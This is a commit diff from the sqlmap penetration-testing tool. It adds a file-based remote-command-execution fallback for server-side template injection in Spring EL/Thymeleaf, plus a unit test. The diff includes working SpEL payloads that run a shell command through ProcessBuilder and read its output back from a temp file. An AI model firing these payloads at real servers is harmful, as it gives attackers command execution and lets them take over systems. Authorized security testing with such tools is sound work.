Minor patch
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run

This commit is contained in:
Miroslav Štampar 2026-07-10 07:58:07 +02:00
parent df6c50add2
commit 346c9d9f03
3 changed files with 132 additions and 48 deletions

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.64"
VERSION = "1.10.7.65"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -684,6 +684,78 @@ def _canTakeover(engine, evidence):
return True
# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
_FILE_RCE = {
"Spring EL / Thymeleaf": (
"${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}",
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
),
}
def _commandOutput(page, baseline, original, payload, engine):
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
if not page:
return None
if engine.errorRegex and _isError(page, engine):
return None
text = getUnicode(page)
baseText = getUnicode(baseline or "")
output = ""
if baseText and text != baseText:
sm = difflib.SequenceMatcher(None, baseText, text)
parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")]
if parts:
output = "".join(parts).strip()
if not output:
output = text
if original and output.startswith(original):
output = output[len(original):]
output = output.strip()
# A template that ECHOED our payload directive instead of executing it is reflection, not output.
if output and output in payload:
return None
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
return output
return None
def _fileRceCapture(place, parameter, engine, original, cmd, extract):
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
(redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
so the read is retried a few times. Returns whatever 'extract' yields, else None."""
spec = _FILE_RCE.get(engine.name)
if not spec:
return None
execTemplate, readTemplate = spec
outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
readPayload = readTemplate.replace("{OUTFILE}", outFile)
for _ in range(3):
page = _send(place, parameter, original + readPayload)
result = extract(readPayload, page)
if result is not None:
return result
time.sleep(1)
return None
def _probeRce(place, parameter, engine):
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
return True if the marker is reflected (proving OS command execution is reachable). Used only
@ -699,12 +771,16 @@ def _probeRce(place, parameter, engine):
page = _send(place, parameter, original + payload)
if page and marker in getUnicode(page):
return True
return False
# in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))
def _executeCommand(place, parameter, engine, cmd):
"""Execute an OS command via the engine's RCE payloads, trying each fallback
in order until one produces output. Captures output via baseline diff."""
"""Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
safeCmd = _escapeSingleQuoted(cmd)
original = _originalValue(place, parameter) or ""
@ -712,49 +788,16 @@ def _executeCommand(place, parameter, engine, cmd):
for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", safeCmd)
fullPayload = original + payload
page = _send(place, parameter, fullPayload)
page = _send(place, parameter, original + payload)
output = _commandOutput(page, baseline, original, payload, engine)
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
return
if not page:
continue
output = _fileRceCapture(place, parameter, engine, original, cmd,
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
return
# Skip error pages (payload caused a template exception, not a shell)
if engine.errorRegex and _isError(page, engine):
continue
text = getUnicode(page)
baseText = getUnicode(baseline or "")
output = ""
if baseText and text != baseText:
sm = difflib.SequenceMatcher(None, baseText, text)
opcodes = sm.get_opcodes()
parts = []
for tag, i1, i2, j1, j2 in opcodes:
if tag in ("insert", "replace"):
parts.append(text[j1:j2])
if parts:
output = "".join(parts).strip()
if not output:
output = text
if original and output.startswith(original):
output = output[len(original):]
output = output.strip()
# A template that ECHOED our payload directive instead of executing it (e.g. a patched or
# sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
# output: reject it so the loop falls through to the honest "no output received" warning
# instead of presenting a reflected payload fragment as a fake command result.
if output and output in payload:
continue
# Suppress when output is just the baseline with the original value removed
# (command produced no output; the template rendered empty)
# Filter out template error messages masquerading as command output
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
return
logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))
logger.warning("no output received for OS command '%s'" % cmd)

View file

@ -575,3 +575,44 @@ class TestEngineMatrix(unittest.TestCase):
result, evidence = ssti._fingerprint("GET", "q")
self.assertEqual(result.name, "Mako")
self.assertTrue(evidence.get("boolean"))
class TestFileBasedRce(unittest.TestCase):
"""Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs
reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile
then read-file must still recover the command output."""
def setUp(self):
from lib.core.data import conf
self._send = ssti._send
self._dumper = conf.dumper
captured = self.captured = []
class _Dumper(object):
def singleString(self, text, **kwargs):
captured.append(text)
conf.dumper = _Dumper()
def tearDown(self):
from lib.core.data import conf
ssti._send = self._send
conf.dumper = self._dumper
def test_spel_output_via_file_when_inband_blocked(self):
engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf")
self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback
def mock(place, parameter, value):
if "ProcessBuilder" in value: # exec step: launches (render error, ignored)
return "org.springframework.expression.spel.SpelEvaluationException: EL1001E"
if "readAllBytes" in value: # read step: the temp file's content
return "Hello uid=0(root) gid=0(root)"
if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK
return "org.springframework.expression.spel.SpelEvaluationException: EL1029E"
return "Hello " # baseline / original value
ssti._send = mock
ssti._executeCommand("GET", "q", engine, "id")
self.assertTrue(any("uid=0(root)" in _ for _ in self.captured),
msg="two-step file-based RCE did not surface command output: %r" % self.captured)